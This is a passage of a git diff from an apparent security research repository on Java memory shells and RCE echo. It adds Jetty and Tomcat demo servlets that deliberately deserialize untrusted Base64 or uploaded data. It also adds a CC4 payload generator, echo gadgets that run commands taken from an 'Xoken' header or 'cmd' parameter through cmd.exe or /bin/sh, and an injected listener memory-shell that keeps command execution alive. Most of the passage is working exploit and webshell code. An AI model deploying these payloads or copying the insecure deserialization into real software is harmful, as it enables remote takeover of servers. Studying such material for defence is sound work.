getFieldValue(value, "_response"); + } else if (value.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")) { + Object channel = getFieldValue(value, "_channel"); + request = getFieldValue(channel, "_request"); + response = getFieldValue(channel, "_response"); + } + if (response == null) + continue; + + Object header = request.getClass().getDeclaredMethod("getHeader", String.class).invoke(request, HEADER); + Object param = request.getClass().getDeclaredMethod("getParameter", String.class).invoke(request, PARAM); + + String result = null; + if (header != null) { + result = exec((String) header); + } else if (param != null) { + result = exec((String) param); + } + + Object writer = response.getClass().getDeclaredMethod("getWriter").invoke(response); + + try { + invokeMethod(writer, "println", new Class[]{String.class}, new Object[]{result}); + } catch (Exception e) { + invokeMethod(value, "getPrintWriter", new Class[]{String.class}, new Object[]{result}); + } + + return; + + } + } catch (Exception e) { + + } + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static String exec(String str) throws Exception { + String[] cmd; + if (System.getProperty("os.name").toLowerCase().contains("win")) { + cmd = new String[]{"cmd.exe", "/c", str}; + } else { + cmd = new String[]{"/bin/sh", "-c", str}; + } + InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); + return exec_result(inputStream); + } + + public static String exec_result(InputStream inputStream) throws Exception { + byte[] bytes = new byte[1024]; + int len; + StringBuilder stringBuilder = new StringBuilder(); + while ((len = inputStream.read(bytes)) != -1) { + stringBuilder.append(new String(bytes, 0, len)); + } + return stringBuilder.toString(); + } + + public static Object invokeMethod(Object obj, String methodName, Class[] argsClass, Object[] args) throws Exception { + Method method; + try { + method = obj.getClass().getDeclaredMethod(methodName, argsClass); + } catch (NoSuchMethodException e) { + method = obj.getClass().getSuperclass().getDeclaredMethod(methodName, argsClass); + } + method.setAccessible(true); + Object object = method.invoke(obj, args); + return object; + } + +} diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JakartaJettyDemo/src/main/java/org/example/jetty/servlet/Base64DeSerializerServlet.java b/SecVulns/VulnCore/MemShellAndRceEcho/JakartaJettyDemo/src/main/java/org/example/jetty/servlet/Base64DeSerializerServlet.java new file mode 100644 index 0000000..bb902d9 --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JakartaJettyDemo/src/main/java/org/example/jetty/servlet/Base64DeSerializerServlet.java @@ -0,0 +1,36 @@ +package org.example.jetty.servlet; + + +import jakarta.servlet.http.HttpServlet; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; + +import java.io.ByteArrayInputStream; +import java.io.ObjectInputStream; +import java.util.Base64; + +public class Base64DeSerializerServlet extends HttpServlet { + + protected void doGet(HttpServletRequest req, HttpServletResponse resp) { + String cmd = req.getParameter("cmd"); + System.out.println(cmd); + } + + + protected void doPost(HttpServletRequest req, HttpServletResponse resp) { + try { + // 反序列化 + String base64Str = req.getParameter("base64Str"); + byte[] bytes = Base64.getDecoder().decode(base64Str); + ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); + ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); + objectInputStream.readObject(); + } catch (Exception e) { + e.printStackTrace(); + } + } + +} + + + diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JakartaJettyDemo/src/main/java/org/example/jetty/servlet/BinaryDeSerializerServlet.java b/SecVulns/VulnCore/MemShellAndRceEcho/JakartaJettyDemo/src/main/java/org/example/jetty/servlet/BinaryDeSerializerServlet.java new file mode 100644 index 0000000..a6ba2ff --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JakartaJettyDemo/src/main/java/org/example/jetty/servlet/BinaryDeSerializerServlet.java @@ -0,0 +1,40 @@ +package org.example.jetty.servlet; + +import jakarta.servlet.annotation.MultipartConfig; +import jakarta.servlet.http.Part; +import jakarta.servlet.http.HttpServlet; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; + +import java.io.ByteArrayInputStream; +import java.io.InputStream; +import java.io.ObjectInputStream; + +@MultipartConfig +public class BinaryDeSerializerServlet extends HttpServlet { + @Override + protected void doGet(HttpServletRequest req, HttpServletResponse resp) { + String cmd = req.getParameter("cmd"); + System.out.println(cmd); + } + + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) { + try { + Part file = req.getPart("file"); + + InputStream inputStream = file.getInputStream(); + byte[] bytes = new byte[inputStream.available()]; + inputStream.read(bytes); + ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); + ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); + objectInputStream.readObject(); + } catch (Exception e) { + e.printStackTrace(); + } + } + +} + + + diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JakartaJettyDemo/src/main/java/org/example/jetty/utils/PayloadMake.java b/SecVulns/VulnCore/MemShellAndRceEcho/JakartaJettyDemo/src/main/java/org/example/jetty/utils/PayloadMake.java new file mode 100644 index 0000000..12c3395 --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JakartaJettyDemo/src/main/java/org/example/jetty/utils/PayloadMake.java @@ -0,0 +1,42 @@ +package org.example.jetty.utils; + + +import org.example.jetty.gadget.JettyEcho; +import com.ppp.tools.ser.CC4Generator; + +/** + * @author Whoopsunix + */ +public class PayloadMake { + public static void main(String[] args) throws Exception { + cc4(); + } + + public static void cc4() throws Exception { + Class msmClass = JettyEcho.class; + CC4Generator cc4Generator = new CC4Generator(); + String payload = cc4Generator.make(msmClass); + System.out.println(payload.length()); + cc4Generator.makeFile(msmClass, "cc4.bin"); + } + +// public void searchJetty() { +// //设置搜索类型包含Request关键字的对象 +// List keys = new ArrayList(); +// keys.add(new Keyword.Builder().setField_type("Request").build()); +// //定义黑名单 +// List blacklists = new ArrayList(); +// blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build()); +// //新建一个广度优先搜索Thread.currentThread()的搜索器 +// SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys); +// // 设置黑名单 +// searcher.setBlacklists(blacklists); +// //打开调试模式,会生成log日志 +// searcher.setIs_debug(true); +// //挖掘深度为20 +// searcher.setMax_search_depth(20); +// //设置报告保存位置 +// searcher.setReport_save_path("/tmp/"); +// searcher.searchObject(); +// } +} diff --git a/MemShellAndRceEcho/JettyDemo/src/main/webapp/WEB-INF/web.xml b/SecVulns/VulnCore/MemShellAndRceEcho/JakartaJettyDemo/src/main/webapp/WEB-INF/web.xml similarity index 100% rename from MemShellAndRceEcho/JettyDemo/src/main/webapp/WEB-INF/web.xml rename to SecVulns/VulnCore/MemShellAndRceEcho/JakartaJettyDemo/src/main/webapp/WEB-INF/web.xml diff --git a/MemShellAndRceEcho/JakartaTomcatDemo/pom.xml b/SecVulns/VulnCore/MemShellAndRceEcho/JakartaTomcatDemo/pom.xml similarity index 70% rename from MemShellAndRceEcho/JakartaTomcatDemo/pom.xml rename to SecVulns/VulnCore/MemShellAndRceEcho/JakartaTomcatDemo/pom.xml index 7f1c0c3..b12dfa9 100644 --- a/MemShellAndRceEcho/JakartaTomcatDemo/pom.xml +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JakartaTomcatDemo/pom.xml @@ -2,7 +2,7 @@ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> JakartaTomcatDemo com.demo - 1.0-SNAPSHOT + 1.0 4.0.0 war JakartaTomcatDemo @@ -13,35 +13,38 @@ org.apache.tomcat tomcat-catalina - - - - - 11.0.0-M1 - - javax.servlet - servlet-api - 2.5 - - - javax.servlet.jsp - jsp-api - 2.2 - + + + + + + + + + + org.apache.commons commons-collections4 4.0 + + commons-collections + commons-collections + + + 3.2.1 + + - org.ppp.tools + com.ppp.tools Utils - 1.0-SNAPSHOT + 1.0 @@ -76,8 +79,8 @@ org.apache.maven.plugins maven-compiler-plugin - 11 - 11 + 8 + 8 diff --git a/MemShellAndRceEcho/JakartaTomcatDemo/src/main/java/com/demo/memshell/all/TomcatExecThreadListener.java b/SecVulns/VulnCore/MemShellAndRceEcho/JakartaTomcatDemo/src/main/java/com/demo/memshell/all/TomcatExecThreadListener.java similarity index 95% rename from MemShellAndRceEcho/JakartaTomcatDemo/src/main/java/com/demo/memshell/all/TomcatExecThreadListener.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JakartaTomcatDemo/src/main/java/com/demo/memshell/all/TomcatExecThreadListener.java index 5992659..b8ec2b1 100644 --- a/MemShellAndRceEcho/JakartaTomcatDemo/src/main/java/com/demo/memshell/all/TomcatExecThreadListener.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JakartaTomcatDemo/src/main/java/com/demo/memshell/all/TomcatExecThreadListener.java @@ -14,7 +14,7 @@ */ public class TomcatExecThreadListener implements InvocationHandler { - private static String HEADER = "X-Token"; + private static String HEADER = "Xoken"; private static Object[] applicationEventListenersObjects; private static List applicationEventListeners; private static Boolean flag = false; @@ -159,7 +159,7 @@ public static Object getTargetObject(String className) throws Exception { breakObject.add(System.identityHashCode(breakObject)); // 原始类型和包装类都不递归 - HashSet breakType = new HashSet<>(Arrays.asList(int.class.getName(), short.class.getName(), long.class.getName(), double.class.getName(), byte.class.getName(), float.class.getName(), char.class.getName(), boolean.class.getName(), Integer.class.getName(), Short.class.getName(), Long.class.getName(), Double.class.getName(), Byte.class.getName(), Float.class.getName(), Character.class.getName(), Boolean.class.getName(), String.class.getName())); + HashSet breakType = new HashSet(Arrays.asList(int.class.getName(), short.class.getName(), long.class.getName(), double.class.getName(), byte.class.getName(), float.class.getName(), char.class.getName(), boolean.class.getName(), Integer.class.getName(), Short.class.getName(), Long.class.getName(), Double.class.getName(), Byte.class.getName(), Float.class.getName(), Character.class.getName(), Boolean.class.getName(), String.class.getName())); Object result = getTargetObject(cls, Thread.currentThread(), breakObject, breakType, 30); @@ -181,8 +181,8 @@ public static Class getTargetClass(String className, List activeCla } public List getActiveClassLoaders() throws Exception { -// List activeClassLoaders = new ArrayList<>(); - Set activeClassLoaders = new HashSet<>(); +// List activeClassLoaders = new ArrayList(); + Set activeClassLoaders = new HashSet(); // 加载当前对象的加载器 activeClassLoaders.add(this.getClass().getClassLoader()); @@ -205,7 +205,7 @@ public List getActiveClassLoaders() throws Exception { activeClassLoaders.add(threads[i].getContextClassLoader()); } - return new ArrayList<>(activeClassLoaders); + return new ArrayList(activeClassLoaders); } /** diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JakartaTomcatDemo/src/main/java/com/demo/servlet/Base64DeSerializerServlet.java b/SecVulns/VulnCore/MemShellAndRceEcho/JakartaTomcatDemo/src/main/java/com/demo/servlet/Base64DeSerializerServlet.java new file mode 100644 index 0000000..7c75d34 --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JakartaTomcatDemo/src/main/java/com/demo/servlet/Base64DeSerializerServlet.java @@ -0,0 +1,35 @@ +package com.demo.servlet; + +import jakarta.servlet.http.HttpServlet; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; +import java.io.ByteArrayInputStream; +import java.io.ObjectInputStream; +import java.util.Base64; + +public class Base64DeSerializerServlet extends HttpServlet { + @Override + protected void doGet(HttpServletRequest req, HttpServletResponse resp) { + String cmd = req.getParameter("cmd"); + System.out.println(cmd); + } + + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) { + try { + // 反序列化 + String base64Str = req.getParameter("base64Str"); + System.out.println(base64Str); + byte[] bytes = Base64.getDecoder().decode(base64Str); + ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); + ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); + objectInputStream.readObject(); + } catch (Exception e) { + e.printStackTrace(); + } + } + +} + + + diff --git a/MemShellAndRceEcho/JakartaTomcatDemo/src/main/java/com/demo/servlet/BinaryDeSerializerServlet.java b/SecVulns/VulnCore/MemShellAndRceEcho/JakartaTomcatDemo/src/main/java/com/demo/servlet/BinaryDeSerializerServlet.java similarity index 100% rename from MemShellAndRceEcho/JakartaTomcatDemo/src/main/java/com/demo/servlet/BinaryDeSerializerServlet.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JakartaTomcatDemo/src/main/java/com/demo/servlet/BinaryDeSerializerServlet.java diff --git a/MemShellAndRceEcho/JakartaTomcatDemo/src/main/java/com/demo/utils/PayloadMake.java b/SecVulns/VulnCore/MemShellAndRceEcho/JakartaTomcatDemo/src/main/java/com/demo/utils/PayloadMake.java similarity index 91% rename from MemShellAndRceEcho/JakartaTomcatDemo/src/main/java/com/demo/utils/PayloadMake.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JakartaTomcatDemo/src/main/java/com/demo/utils/PayloadMake.java index d6a01b2..ecfbd8c 100644 --- a/MemShellAndRceEcho/JakartaTomcatDemo/src/main/java/com/demo/utils/PayloadMake.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JakartaTomcatDemo/src/main/java/com/demo/utils/PayloadMake.java @@ -4,7 +4,7 @@ import me.gv7.tools.josearcher.entity.Blacklist; import me.gv7.tools.josearcher.entity.Keyword; import me.gv7.tools.josearcher.searcher.SearchRequstByBFS; -import org.ppp.tools.ser.CC4Generator; +import com.ppp.tools.ser.CC4Generator; import java.util.ArrayList; import java.util.List; @@ -26,10 +26,10 @@ public static void cc4() throws Exception { public void searchTomcat() { //设置搜索类型包含Request关键字的对象 - List keys = new ArrayList<>(); + List keys = new ArrayList(); keys.add(new Keyword.Builder().setField_type("Request").build()); //定义黑名单 - List blacklists = new ArrayList<>(); + List blacklists = new ArrayList(); blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build()); //新建一个广度优先搜索Thread.currentThread()的搜索器 SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys); diff --git a/MemShellAndRceEcho/JakartaTomcatDemo/src/main/webapp/WEB-INF/web.xml b/SecVulns/VulnCore/MemShellAndRceEcho/JakartaTomcatDemo/src/main/webapp/WEB-INF/web.xml similarity index 100% rename from MemShellAndRceEcho/JakartaTomcatDemo/src/main/webapp/WEB-INF/web.xml rename to SecVulns/VulnCore/MemShellAndRceEcho/JakartaTomcatDemo/src/main/webapp/WEB-INF/web.xml diff --git a/MemShellAndRceEcho/JettyDemo/pom.xml b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/pom.xml similarity index 63% rename from MemShellAndRceEcho/JettyDemo/pom.xml rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/pom.xml index e93d3f4..3ab0af2 100644 --- a/MemShellAndRceEcho/JettyDemo/pom.xml +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/pom.xml @@ -2,33 +2,41 @@ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> 4.0.0 org.example - JettyDemo + JavaxJettyDemo war - 1.0-SNAPSHOT + 1.0 JettyDemo org.eclipse.jetty jetty-webapp - 7.1.0.RC0 + + + + + 7.0.0.M0 - - org.apache.commons - commons-collections4 - 4.0 + com.ppp.tools + Utils + 1.0 + + commons-fileupload + commons-fileupload + 1.5 + me.gv7.tools java-object-searcher 0.1.0 - org.ppp.tools + com.ppp.tools Utils - 1.0-SNAPSHOT + 1.0 @@ -40,8 +48,8 @@ maven-compiler-plugin 3.8.1 - 1.8 - 1.8 + 8 + 8 diff --git a/MemShellAndRceEcho/JettyDemo/src/main/java/org/example/jetty/RunJetty.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/src/main/java/org/example/jetty/RunJetty.java similarity index 85% rename from MemShellAndRceEcho/JettyDemo/src/main/java/org/example/jetty/RunJetty.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/src/main/java/org/example/jetty/RunJetty.java index 42e9e8c..773db3d 100644 --- a/MemShellAndRceEcho/JettyDemo/src/main/java/org/example/jetty/RunJetty.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/src/main/java/org/example/jetty/RunJetty.java @@ -4,6 +4,7 @@ import org.eclipse.jetty.servlet.ServletContextHandler; import org.eclipse.jetty.servlet.ServletHolder; import org.example.jetty.servlet.Base64DeSerializerServlet; +import org.example.jetty.servlet.BinaryDeSerializerServlet; /** * @author Whoopsunix @@ -19,6 +20,7 @@ public static void main(String[] args) throws Exception { // 添加 Servlet 到上下文 context.addServlet(new ServletHolder(new Base64DeSerializerServlet()), "/base64"); + context.addServlet(new ServletHolder(new BinaryDeSerializerServlet()), "/binary"); // 将上下文添加到服务器 server.setHandler(context); diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/src/main/java/org/example/jetty/gadget/JettyEcho.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/src/main/java/org/example/jetty/gadget/JettyEcho.java new file mode 100644 index 0000000..b38159e --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/src/main/java/org/example/jetty/gadget/JettyEcho.java @@ -0,0 +1,130 @@ +package org.example.jetty.gadget; + +import java.io.InputStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/** + * @author Whoopsunix + *

+ * TargetObject = {java.lang.Thread} + * ---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap} + * ---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;} + * ---> [13] = {java.lang.ThreadLocal$ThreadLocalMap$Entry} + * ---> value = {org.eclipse.jetty.server.AsyncHttpConnection} + * ---> _request = {org.eclipse.jetty.server.Request} + * idea_express: TargetObject.threadLocals.get("table").get("13").get("value")._request + * + * Vsersion test + * 7.x、8.x、9.x、10.x、11.x + */ +public class JettyEcho { + private static String HEADER = "Xoken"; + private static String PARAM = "cmd"; + public JettyEcho() { + try { + Object threadLocals = getFieldValue(Thread.currentThread(), "threadLocals"); + Object[] table = (Object[]) getFieldValue(threadLocals, "table"); + for (int i = 0; i < table.length; i++) { + Object entry = table[i]; + if (entry == null) + continue; + Object value = getFieldValue(entry, "value"); + if (value == null) + continue; + + Object request = null; + Object response = null; + + // Jetty 7 低版本 org.eclipse.jetty.server.nio.SelectChannelConnector + // Jetty 7 8 org.eclipse.jetty.server.AsyncHttpConnection + // Jetty 9、10 org.eclipse.jetty.server.HttpConnection + if (value.getClass().getName().contains("org.eclipse.jetty.server.nio.SelectChannelConnector") + || value.getClass().getName().equals("org.eclipse.jetty.server.AsyncHttpConnection")) { + request = getFieldValue(value, "_request"); + response = getFieldValue(value, "_response"); + } else if (value.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")) { + Object channel = getFieldValue(value, "_channel"); + request = getFieldValue(channel, "_request"); + response = getFieldValue(channel, "_response"); + } + if (response == null) + continue; + + String header = (String) request.getClass().getDeclaredMethod("getHeader", String.class).invoke(request, HEADER); + String param = (String) request.getClass().getDeclaredMethod("getParameter", String.class).invoke(request, PARAM); + + String result = null; + if (header != null) { + result = exec(header); + } else if (param != null) { + result = exec(param); + } + + Object writer = response.getClass().getDeclaredMethod("getWriter").invoke(response); + + try { + invokeMethod(writer, "println", new Class[]{String.class}, new Object[]{result}); + } catch (Exception e) { + invokeMethod(value, "getPrintWriter", new Class[]{String.class}, new Object[]{result}); + } + + return; + + } + } catch (Exception e) { + + } + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static String exec(String str) throws Exception { + String[] cmd; + if (System.getProperty("os.name").toLowerCase().contains("win")) { + cmd = new String[]{"cmd.exe", "/c", str}; + } else { + cmd = new String[]{"/bin/sh", "-c", str}; + } + InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); + return exec_result(inputStream); + } + + public static String exec_result(InputStream inputStream) throws Exception { + byte[] bytes = new byte[1024]; + int len; + StringBuilder stringBuilder = new StringBuilder(); + while ((len = inputStream.read(bytes)) != -1) { + stringBuilder.append(new String(bytes, 0, len)); + } + return stringBuilder.toString(); + } + + public static Object invokeMethod(Object obj, String methodName, Class[] argsClass, Object[] args) throws Exception { + Method method; + try { + method = obj.getClass().getDeclaredMethod(methodName, argsClass); + } catch (NoSuchMethodException e) { + method = obj.getClass().getSuperclass().getDeclaredMethod(methodName, argsClass); + } + method.setAccessible(true); + Object object = method.invoke(obj, args); + return object; + } + +} diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/src/main/java/org/example/jetty/memshell/JettyListenerThreadLoader.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/src/main/java/org/example/jetty/memshell/JettyListenerThreadLoader.java new file mode 100644 index 0000000..bfc741e --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/src/main/java/org/example/jetty/memshell/JettyListenerThreadLoader.java @@ -0,0 +1,198 @@ +package org.example.jetty.memshell; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Method; +import java.lang.reflect.Proxy; +import java.util.zip.GZIPInputStream; + +/** + * @author Whoopsunix + *

+ */ +public class JettyListenerThreadLoader { + private static String gzipObject; + private static String CLASSNAME = "org.example.jetty.memshell.ListenerExec"; + + public JettyListenerThreadLoader() { + } + + static { + try { + // 获取 servletContext + Object servletContext = getServletContext(); + + inject(servletContext); + + } catch (Throwable e) { + + } + } + + +// public static void inject(Object standardContext) throws Exception { +// } + + /** + * Jetty Listener + */ + public static void inject(Object servletContext) throws Exception { + Object[] _eventListeners = (Object[]) getFieldValue(servletContext, "_eventListeners"); + if (_eventListeners != null) { + for (int i = 0; i < _eventListeners.length; i++) { + if (_eventListeners[i].getClass().getName().contains(CLASSNAME)) { + return; + } + } + } + + + // 动态代理兼容 javax jakarta + Class listenerClass = null; + try { + listenerClass = Class.forName("jakarta.servlet.ServletRequestListener"); + } catch (Exception e) { + try { + listenerClass = Class.forName("javax.servlet.ServletRequestListener"); + } catch (ClassNotFoundException ex) { + + } + } + +// byte[] bytes = decompress(gzipObject); +// ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); +// Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); +// defineClass.setAccessible(true); +// Class clazz; +// try { +// clazz = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); +// } catch (Exception e) { +// clazz = classLoader.loadClass(CLASSNAME); +// } + + Class clazz = Class.forName(CLASSNAME); + Object javaObject = clazz.newInstance(); + Object object = Proxy.newProxyInstance(listenerClass.getClassLoader(), new Class[]{listenerClass}, (InvocationHandler) javaObject); + + + invokeMethod(servletContext.getClass().getSuperclass(), servletContext, "addEventListener", new Class[]{Class.forName("java.util.EventListener")}, new Object[]{object}); + + + } + + public static Object getServletContext() throws Exception { + try { + Object threadLocals = getFieldValue(Thread.currentThread(), "threadLocals"); + Object[] table = (Object[]) getFieldValue(threadLocals, "table"); + for (int i = 0; i < table.length; i++) { + Object entry = table[i]; + if (entry == null) + continue; + Object value = getFieldValue(entry, "value"); + if (value == null) + continue; + +// ServletContextHandler.getCurrentContext() + Object context = invokeMethod(Class.forName("org.eclipse.jetty.server.handler.ContextHandler"), value, "getCurrentContext", new Class[]{}, new Object[]{}); + Object servletContext = getFieldValue(context, "this$0"); + + return servletContext; + + // todo 测试版本覆盖 以下为 rceecho 相关类 + // Jetty 7 低版本 org.eclipse.jetty.server.nio.SelectChannelConnector + // Jetty 7 8 org.eclipse.jetty.server.AsyncHttpConnection + // Jetty 9、10 org.eclipse.jetty.server.HttpConnection + } + } catch (Exception e) { + + } + + + return null; + } + + public static Object getObject() throws Exception { + // 动态代理兼容 javax jakarta + Class listenerClass = null; + try { + listenerClass = Class.forName("jakarta.servlet.ServletRequestListener"); + } catch (Exception e) { + try { + listenerClass = Class.forName("javax.servlet.ServletRequestListener"); + } catch (ClassNotFoundException ex) { + + } + } + +// byte[] bytes = decompress(gzipObject); +// ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); +// Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); +// defineClass.setAccessible(true); +// Class clazz; +// try { +// clazz = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); +// } catch (Exception e) { +// clazz = classLoader.loadClass(CLASSNAME); +// } + + Class clazz = Class.forName(CLASSNAME); + Object javaObject = clazz.newInstance(); + Object object = Proxy.newProxyInstance(listenerClass.getClassLoader(), new Class[]{listenerClass}, (InvocationHandler) javaObject); + + return object; + } + + + // tools + public static byte[] decompress(String gzipObject) throws IOException { + final byte[] compressedData = new sun.misc.BASE64Decoder().decodeBuffer(gzipObject); + ByteArrayInputStream bais = new ByteArrayInputStream(compressedData); + try { + GZIPInputStream gzipInputStream = new GZIPInputStream(bais); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[1024]; + int len; + while ((len = gzipInputStream.read(buffer)) > 0) { + baos.write(buffer, 0, len); + } + return baos.toByteArray(); + } catch (Exception e) { + + } + return null; + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + field.set(obj, value); + } + + public static Object invokeMethod(Class cls, Object obj, String methodName, Class[] argsClass, Object[] args) throws Exception { + Method method = cls.getDeclaredMethod(methodName, argsClass); + method.setAccessible(true); + Object object = method.invoke(obj, args); + return object; + } + + +} diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/src/main/java/org/example/jetty/memshell/ListenerExec.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/src/main/java/org/example/jetty/memshell/ListenerExec.java new file mode 100644 index 0000000..215738c --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/src/main/java/org/example/jetty/memshell/ListenerExec.java @@ -0,0 +1,112 @@ +package org.example.jetty.memshell; + +import java.io.InputStream; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Method; + +/** + * @author Whoopsunix + * + */ +public class ListenerExec implements InvocationHandler { + private static String HEADER = "X-Token"; + private static String PARAM = "cmd"; + + public Object invoke(Object proxy, Method method, Object[] args) { + if (method.getName().equals("requestInitialized")) { + run(args[0]); + } + return null; + } + +// public Object getResponse(Object httpServletRequest) throws Exception { +// return null; +// } +// +// private void run(Object sre) { +// } + + /** + * Jetty + */ + public Object getResponse(Object httpServletRequest) throws Exception{ + Object channel = getFieldValue(httpServletRequest, "_channel"); + return getFieldValue(channel, "_response"); + } + private void run(Object sre) { + try { + Object httpServletRequest = invokeMethod(sre, "getServletRequest", new Class[]{}, new Object[]{}); + Object header = invokeMethod(httpServletRequest, "getHeader", new Class[]{String.class}, new Object[]{HEADER}); + Object param = invokeMethod(httpServletRequest, "getParameter", new Class[]{String.class}, new Object[]{PARAM}); + String str = null; + if (header != null) { + str = (String) header; + } else if (param != null) { + str = (String) param; + } + String result = exec(str); + Object response = getResponse(httpServletRequest); + invokeMethod(response, "setStatus", new Class[]{Integer.TYPE}, new Object[]{new Integer(200)}); + Object writer = invokeMethod(response, "getWriter", new Class[]{}, new Object[]{}); + invokeMethod(writer, "println", new Class[]{String.class}, new Object[]{result}); + } catch (Exception ignored) { + } + } + public static String exec(String str) throws Exception { + String[] cmd; + if (System.getProperty("os.name").toLowerCase().contains("win")) { + cmd = new String[]{"cmd.exe", "/c", str}; + } else { + cmd = new String[]{"/bin/sh", "-c", str}; + } + InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); + return exec_result(inputStream); + } + + public static String exec_result(InputStream inputStream) throws Exception { + byte[] bytes = new byte[1024]; + int len; + StringBuilder stringBuilder = new StringBuilder(); + while ((len = inputStream.read(bytes)) != -1) { + stringBuilder.append(new String(bytes, 0, len)); + } + return stringBuilder.toString(); + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static Object invokeMethod(Object obj, String methodName, Class[] argsClass, Object[] args) throws Exception { + Method method; + try { + method = obj.getClass().getDeclaredMethod(methodName, argsClass); + } catch (NoSuchMethodException e) { + method = obj.getClass().getSuperclass().getDeclaredMethod(methodName, argsClass); + } + method.setAccessible(true); + return method.invoke(obj, args); + } + +// public static String getHEADER() { +// return HEADER; +// } +// +// public static String getPARAM() { +// return PARAM; +// } +} diff --git 